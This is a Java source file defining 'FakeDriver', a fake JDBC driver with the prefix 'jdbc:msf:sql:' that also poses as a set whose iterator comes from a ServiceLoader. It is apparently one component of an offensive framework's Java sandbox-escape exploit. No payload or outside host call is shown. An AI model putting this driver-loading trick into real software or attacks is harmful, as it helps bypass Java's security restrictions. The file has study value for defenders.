66 lines
1.3 KiB
Java
Executable File
66 lines
1.3 KiB
Java
Executable File
import java.sql.*;
|
|
import java.util.logging.Logger;
|
|
import java.util.Properties;
|
|
import java.util.AbstractSet;
|
|
import java.util.ServiceLoader;
|
|
import java.util.Iterator;
|
|
|
|
|
|
public class FakeDriver extends AbstractSet implements java.sql.Driver
|
|
{
|
|
public static final String URL_PREFIX = "jdbc:msf:sql:";
|
|
public static ServiceLoader _s1;
|
|
|
|
static {
|
|
_s1 = ServiceLoader.load(Object.class);
|
|
}
|
|
|
|
public Iterator iterator()
|
|
{
|
|
return _s1.iterator();
|
|
}
|
|
|
|
public FakeDriver() {
|
|
}
|
|
|
|
public final boolean acceptsURL(String url)
|
|
throws SQLException
|
|
{
|
|
return true;
|
|
}
|
|
|
|
public final boolean jdbcCompliant() {
|
|
return true;
|
|
}
|
|
|
|
public final Logger getParentLogger() {
|
|
return null;
|
|
}
|
|
|
|
public final int getMinorVersion() {
|
|
return 0;
|
|
}
|
|
|
|
public final int getMajorVersion() {
|
|
return 1;
|
|
}
|
|
|
|
public final DriverPropertyInfo[] getPropertyInfo(String url, Properties info)
|
|
throws SQLException
|
|
{
|
|
return null;
|
|
}
|
|
|
|
|
|
public final Connection connect(String url, Properties info)
|
|
throws SQLException
|
|
{
|
|
return null;
|
|
}
|
|
|
|
//AbstractSet
|
|
public final int size() {
|
|
return 2;
|
|
}
|
|
}
|